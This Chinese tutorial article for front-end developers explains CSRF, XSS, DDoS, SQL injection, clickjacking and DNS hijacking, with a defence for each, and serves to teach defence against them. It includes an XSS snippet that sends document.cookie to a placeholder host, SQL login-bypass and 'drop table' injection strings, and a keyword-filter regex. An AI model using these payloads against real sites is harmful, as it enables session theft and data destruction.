前端需要关注的Web安全详解

1,998 阅读16分钟

前言

现代WEB应用变得越来越复杂,满足了用户的各种需求,但是随之而来的就是各种网络安全的问题。作为前端工程师的我们也逃不开这个问题。安全问题存在于何处,如何防范,这将是本篇文章要介绍的主要内容。

一、CSRF

1. 概念

CSRF(Cross-site request forgery)跨站请求伪造,也被称为“One Click Attack”或者Session Riding,通常缩写为CSRF或者XSRF,通过伪装成受信任用户的请求来恶意利用受信任的网站。CSRF是一种依赖web浏览器的、被混淆过的代理人攻击(deputy attack)

狭义的csrf是指将代码植入到受害用户的浏览器访问页面的前提下,用受害人的身份向服务器发起一个伪造的http请求,从而实现服务器CURD来执行相关操作。

广义的csrf是指黑客可以通过自己写一个脚本伪造出一个和真实的http请求一模一样的数据包发送给你的服务器,前提是你这个http接口中的所有参数都是可以预期的。

下文都是建立狭义的CSRF上的

2. 常见特征

  • 依靠网站对用户的信任标识危害网站
  • 欺骗用户的浏览器发送HTTP请求给目标站点
  • 可以通过IMG标签会触发一个GET请求,可以利用它来实现CSRF攻击

3. 攻击原理

image

通过以上步骤,网站B就通过盗用保存在客户端的cookie,以客户端的身份来访问网站A,以客户端身份进行一些非法操作。

4. 防范措施

思路:

  • 将持久化的授权方法(例如cookie或者HTTP授权)切换为瞬时的授权方法
  • 添加某些特殊标识(秘密信息、用户指定的代号等)来有效辨别请求是否来源于正常的用户

具体防范做法:

1. 设置referer判定

通过请求头中的referer字段判断请求的来源,但是这种方法并不保险,具有一定危险性,因为referer有可能被伪造。

2. 设置token

在浏览器访问网站A时,网站A设置cookie会增加随机值csrf_token(也就是token)。

对cookie不是太了解的同学请注意:CSRF是网站B通过盗用保存在客户端的cookie,以客户端的身份来非法访问网站A。而虽然token也是由后端放在cookie中的,但是需要前端在发送请求的时候来讲这个token发给后端检验,从而达到防御的目的。

Token就是令牌,最大的特点就是随机性,不可预测

返回给浏览器时,cookie会储存在浏览器。然后前端提交表单或者非表单请求的时候,就将这个token获取到然后发送给后端,后端判断请求中的token和cookie中的token是否一致来判断是否为正常请求,如果请求中没有 token 或者 token 内容不正确,则认为可能是 CSRF 攻击而拒绝该请求。

为什么放在cookie之后,别的网站获取不到cookie里面的token而自己的网站可以获取token中的cookie呢?

因为cookie采取同源策略,只有相同域名的网页才能获取域名对应的cookie。

表单请求

<form method="post">
    <input type="hidden" name="csrf_token" value="{{ csrf_token }}">
    <label>账户:</label><input type="text" name="to_account" placeholder="请输入对方账户"><br/>
    <label>金额:</label><input type="number" name="money" placeholder="请输入转账金额"><br/>
    <input type="submit" value="转账">
</form>

非表单请求: 在ajax获取数据时,添加 headers:{ 'X-CSRFToken':getCookie('csrf_token') }

import axios from 'axios'

axios.post('/user', {
    name: 'Lumiere'
  }, {
    headers:{
        'X-CSRFToken':getCookie('csrf_token')
    }
  })
  .then(function (response) {
    console.log(response)
  })
  .catch(function (error) {
    console.log(error)
  })

但token也非绝对安全,因为就算token藏的再隐蔽,但是这一切都会暴露在前端,所以黑客可根据网站前端代码进行分析,然后写一套脚本自动化抓取token,然后对服务端接口实施攻击。

3. 验证码

验证码是一种非常强大的防范CSRF的方式,例如各种图形验证码(12306的高难度图形验证),可以达到有效的防御功能。

但是不可能所有接口都是用验证码,这样用户体验会很差,所以 比较好的方式是尽量减少图形验证码的使用,对于一些操作不敏感的接口使用token+referrer来防御。

...

但是图形也不是绝对安全,因为目前图像识别已经很先进,简单的还是可以破解的...但是为了安全,还是需要进行各种防御的设置。

二、XSS

1. 概念

跨站脚本攻击(Cross Site Scripting),为了不和层叠样式表(Cascading Style Sheets, CSS)的缩写混淆,故将跨站脚本攻击缩写为XSS。恶意攻击者往Web页面里插入恶意的Script代码(条件一),当用户浏览该页之时,嵌入其中Web里面的Script代码会被执行(条件二),从而达到恶意攻击用户的目的。

2. 攻击原理

通过一切可能的手段将可以执行的脚本植入到页面的代码中,从而对用户进行攻击。 即实质上就是把代码植入到对方的系统中去,由于xss漏洞是对web客户端的攻击,所以说植入的代码基本上是以JavaScript和html标签为主。

当网页中被注入的可执行代码成功地被浏览器执行时,它可以获取用户联系人信息表,然后向受害者发送虚假诈骗信息,可以删除用户的日志等等,有时候还和其他攻击方式同时实 施比如SQL注入攻击服务器和数据库、Click劫持、相对链接劫持等。

除此之外,xss配合csrf和sql注入等漏洞,可以在短时间内对一个服务器发起攻击,并且服务器端无法将ip封死,因为ip是成百上千的xss受害者的ip。

举个例子:

// 用户点击后执行以下代码,导致cookie被发送到黑客的服务器上
const i = document.createElement("img")
document.body.appendChild(i)
i.src = "http://www.xxx.com/?c=" + document.cookie

3.XSS类型

  • 根据植入目标分类
    • 持久型XSS:将客户端攻击的脚本植入到受害者服务器上,从而导致每个正常访问页面的用户都可以遭到xss脚本的攻击。
    • 非持久性XSS:对一个页面的url中的某个参数做文章,把精心构造的脚本包含到url参数中,然后散步到网上,骗取用户访问这个url,从而来进行攻击。
  • 根据攻击效果分类
    • XSS 反射型攻击:恶意代码并没有保存在目标(受害者)网站,通过引诱用户点击一个链接到目标网站的恶意链接来实施攻击
    • XSS 存储型攻击:恶意代码被保存到目标(受害者)网站的服务器中,这种攻击具有较强的稳定性和持久性,比较常见场景是在博客,论坛等社交网站上的一些输入场景(发表评论,发表博文等)。比如黑客在提交反馈的页面将恶意代码进行提交,网站管理员查看反馈的时候就有可能导致网站用户数据泄露。
    • XSS DOM型攻击:恶意代码被植入到了目标(受害者)服务器将会返回的dom之中,当用户在返回页面中进行了某些操作,才会执行恶意代码,导致信息泄露等。

需要注意的是,随着现代前端技术的发展与应用,许多单页应用的html在客户端通过JavaScript进行生成,而不是通过服务端返回。所以说XSS漏洞不仅可能出现在服务端,客户端也可能会存在与服务端没有关系的XSS漏洞。

4. 常见漏洞

  1. 在 HTML 中内嵌的文本中,恶意内容以 script 标签形成注入。

  2. 在内联的 JavaScript 中,拼接的数据突破了原本的限制(字符串,变量,方法名等)。

  3. 在标签属性中,恶意内容包含引号,从而突破属性值的限制,注入其他属性或者标签。

  4. 在标签的 href、src 等属性中,包含 javascript: 等可执行代码。

  5. 在 onload、onerror、onclick 等事件中,注入不受控制代码。

  6. 在 style 属性和标签中,包含类似 background-image:url("javascript:…"); 的代码(新版本浏览器已经可以防范)。

  7. 在 style 属性和标签中,包含类似 expression(…) 的 CSS 表达式代码(新版本浏览器已经可以防范)。

5. 防范措施

根据XSS 攻击有两大要素:攻击者提交恶意代码浏览器执行恶意代码,防范有以下思路:

  1. 输入、输出的字符校验、转义以及过滤:
// 对于明确的输入类型,例如数字、URL、电话号码、邮件地址等等内容
// 进行字符校验、转义以及过滤

// 字符过滤
function escapeHtml(string) {
    return string
        .replace(/&/g, '&amp;')
        .replace(/</g, '&lt;')
        .replace(/>/g, '&gt;')
        .replace(/"/g, '&quot;')
        .replace(/'/g, '&#039;')
        .replace(/\//g, '&#x2f')
}

// html实体转义
function htmlEncode(html) {
    var sub = document.createElement('div')
    sub.textContent != null ? sub.textContent = html : sub.innerText = html
    var output = sub.innerHTML
    sub = null
    return output
}

// html实体反转义(解析)
function htmlDecode(text) {
    var sub = document.createElement('div')
    sub.innerHTML = text
    var output = sub.textContent || sub.innerText
    sub = null
    return output
}

但是这也会存在一个问题:用户的输入内容,例如是1 < 2,这个内容需要同时在前端展示并且提供给客户端,而一旦经过了escapeHTML(),客户端显示的内容就变成了乱码( 1 &lt; 2 )

所以,输入侧过滤能够在某些情况下解决特定的 XSS 问题,但会引入很大的不确定性和乱码问题。但是对于明确的输入类型,例如数字、URL、电话号码、邮件地址等内容,进行输入过滤还是很有必要的。

  1. 防止浏览器执行恶意代码 主要思路就是防止html注入和防止JavaScript代码执行时恶意代码执行。
  • 纯前端渲染,将代码和数据分开。(现代前端领域常见的单页应用就是如此)
  • 对html做充分转义。(开启并利用模板引擎的转义功能等,常见的如ejs模板等)
  • 预防DOM型XSS时,需要前端自身在书写代码的时候提高意识。在使用 .innerHTML、document.write() 时要特别小心,不要把不可信的数据作为HTML插到页面上,而应尽量使用.textContent、.setAttribute() 等。DOM 中的内联事件监听器,如 location、onclick、onerror、onload、onmouseover 等,<a> 标签的 href 属性,JavaScript的eval()、setTimeout()、setInterval()等,都能把字符串作为代码运行。如果不可信的数据拼接到字符串中传递给这些 API,很容易产生安全隐患,前端工程师应该避免。

6.其他防范措施(仅提供参考思路)

  1. CSP内容安全策略(Content Security Policy)

CSP以白名单的机制对网站加载或执行的资源起作用。在网页中,这样的策略通过 HTTP 头信息或者 meta 元素定义。禁止加载外域代码或者不信任的源下载资源,防止复杂的攻击逻辑。

也就是说,即使攻击者成功在网站中注入了恶意代码,CSP 可以防止其被执行

  1. HTTP-only Cookie

禁止 JavaScript 读取某些敏感 Cookie,攻击者完成 XSS 注入后也无法窃取此 Cookie。

三、DDOS

1. 概念

分布式拒绝服务攻击(Distributed Denial of Service)是指处于不同位置的多个攻击者同时向一个或数个目标发动攻击,或者一个攻击者控制了位于不同位置的多台机器并利用这些机器对受害者同时实施攻击。由于攻击的发出点是分布在不同地方的,这类攻击称为分布式拒绝服务攻击,其中的攻击者可以有多个。

2. 攻击原理

通过在短时间内不同位置向攻击目标发起大量请求,耗尽服务器的资源,使目标服务器无法响应正常的访问,造成网站服务中断。

3.防范措施

1. 网站备份

为了避免受到攻击后生产服务器立刻下线并且没有解决办法,最好平时对网站做好备份,或者构建一些临时网站以备不时之需。

2. 进行http请求的拦截

通过一些防火墙或者web服务器的设置将恶意ip地址发来的请求进行拦截。但是拦截恶意http请求必须知道恶意请求的特征,一些高级的DDoS攻击可能会将请求模拟得和正常请求一致,导致这种DDoS很难进行防御。

3. 带宽扩容

通过云服务商的一些防护产品进行防御,云服务商利用他们大量的冗余带宽来消化DDoS攻击,就是将过量的请求全部进行处理。

4. CDN

CDN 指的是网站的静态内容分发到多个服务器,用户就近访问,提高速度。因此,CDN 也是带宽扩容的一种方法,可以用来防御 DDOS 攻击。

四、SQL注入

1. 概念

SQL注入,就是通过把SQL命令插入到Web表单递交或输入域名或页面请求的查询字符串,最终达到欺骗服务器执行恶意的SQL命令。

2. 攻击原理

举个例子来进行说明

有一个Login画面,在这个Login画面上有两个文本框分别用来输入用户名和密码,当用户点了登录按钮的时候,会对输入的用户名和密码进行验证。验证的SQL语句如下:

select * from user where username='输入的用户名' and password='输入的密码'

如果用户在用户名文本框中输入 ' or '1' = '1' or '1' = '1,则验证的SQL语句变成:

select * from user where username='' or '1' = '1' or '1' = '1' and password=''

或者在密码框中输入 1' or '1' = '1,验证SQL语句变成:

select * from user where username='' and password='1' or '1'='1'

通过简单观察就可以发现这两条SQL语句的验证永远都是有效的。

或者更为破坏性的,在用户名文本框中输入:tom' ; drop table user,这时SQL变为:

select * from student where username='tom' ; drop table user' and password=''

这样就变成的两条SQL语句,执行完查询操作,接着直接把student表给删除了。对网站具有很强的破坏性。

通过以上例子,可以知道SQL注入可以实现的功能包括但不限于删除数据 (经济损失), 篡改数据 (密码等), 窃取数据 (网站管理权限, 用户数据) 等。

3. 防范措施

1. 过滤可以拼接 SQL 的关键字符
// txtName.Attributes.Add('onblur', 'AntiSqlValid(this)');//防止Sql脚本注入

function AntiSqlValid ( oField ) {
    re = /select|update|delete|exec|count|'|"|=|;|>|<|%/i
    if ( re.test(oField.value) ) {
        //alert("请您不要在参数中输入特殊字符和SQL关键字!") //注意中文乱码
        oField.value = ''
        oField.className = 'xxx'
        oField.focus()
        return false
    }
}
2. 对用户输入内容进行转义
3. 给表名/字段名加前缀 (避免被猜到)
4. 在返回报错信息的时候,将报错信息进行封装修饰,不要直接抛出原始错误信息
5. 重要信息进行加密存储

注意:前端验证只能起到一定的作用,后台也需要进行SQL验证,比如利用一些SQL预编译工具,在执行阶段只是把输入串作为数据处理,而不再对sql语句进行解析,因此也就避免了sql注入问题。

五、点击劫持

1. 概念

点击劫持,clickjacking,也被称为UI-覆盖攻击。它是通过覆盖不可见的框架误导受害者点击。

2. 攻击原理

受害者点击的是他所看到的网页,但其实他所点击的是被黑客精心构建的另一个置于原网页上面的透明页面。点击劫持是一种视觉上的欺骗手段。有两种方式,一是攻击者使用一个透明的iframe,覆盖在一个网页上,然后诱使用户在该页面上进行操作,此时用户将在不知情的情况下点击透明的iframe页面;二是攻击者使用一张图片覆盖在网页,遮挡网页原有位置的含义。

3. 防范措施

使用HTTP头——X-Frame-Options (要注意浏览器支持)进行攻击防御。这个http头有三个可选值:

  • DENY:浏览器会拒绝当前页面加载任何frame页面
  • SAMEORIGIN:frame页面的地址只能为同源域名下的页面
  • ALLOW-FROM origin:允许frame加载的页面地址

六、DNS劫持

1. 概念

域名劫持通过攻击域名解析服务器(DNS),或伪造域名解析服务器(DNS)的方法,把目标网站域名解析到错误的地址从而实现用户无法访问目标网站的目的。

域名劫持一方面可能影响用户的上网体验,用户被引到假冒的网站进而无法正常浏览网页,而用户量较大的网站域名被劫持后恶劣影响会不断扩大;另一方面用户可能被诱骗到冒牌网站进行登录等操作导致泄露隐私数据。

2.劫持方式

  1. 一些电脑木马文件修改电脑的hosts文件导致域名解析错误。
  2. 电信运营商(ISP)为了谋取利益,通过修改域名服务器来进行页面重定向或者用iframe加广告的方式显示受害者要访问的网站。
  3. 黑客盗取或者伪造域名所有者的信息与域名提供商联系修改域名信息。

3.解决与防范措施

  • 使用公共DNS服务器。
  • 删除hosts无用的DNS解析。
  • 定期检查DNS设置是否已修改,并确保您的DNS服务器是安全的。
  • 注意自己与域名服务商进行联系的账户的安全。

七、总结

虽然Web安全不仅仅是前端领域的责任,网络,后端,硬件等所有相关的环节都有责任。但作为前端开发人员,web安全意识是必备的技能。以上内容仅是web安全领域中的一小部分,如果需要深入了解,还是需要进行专门的学习的。祝愿各位开发者的网站变得更安全。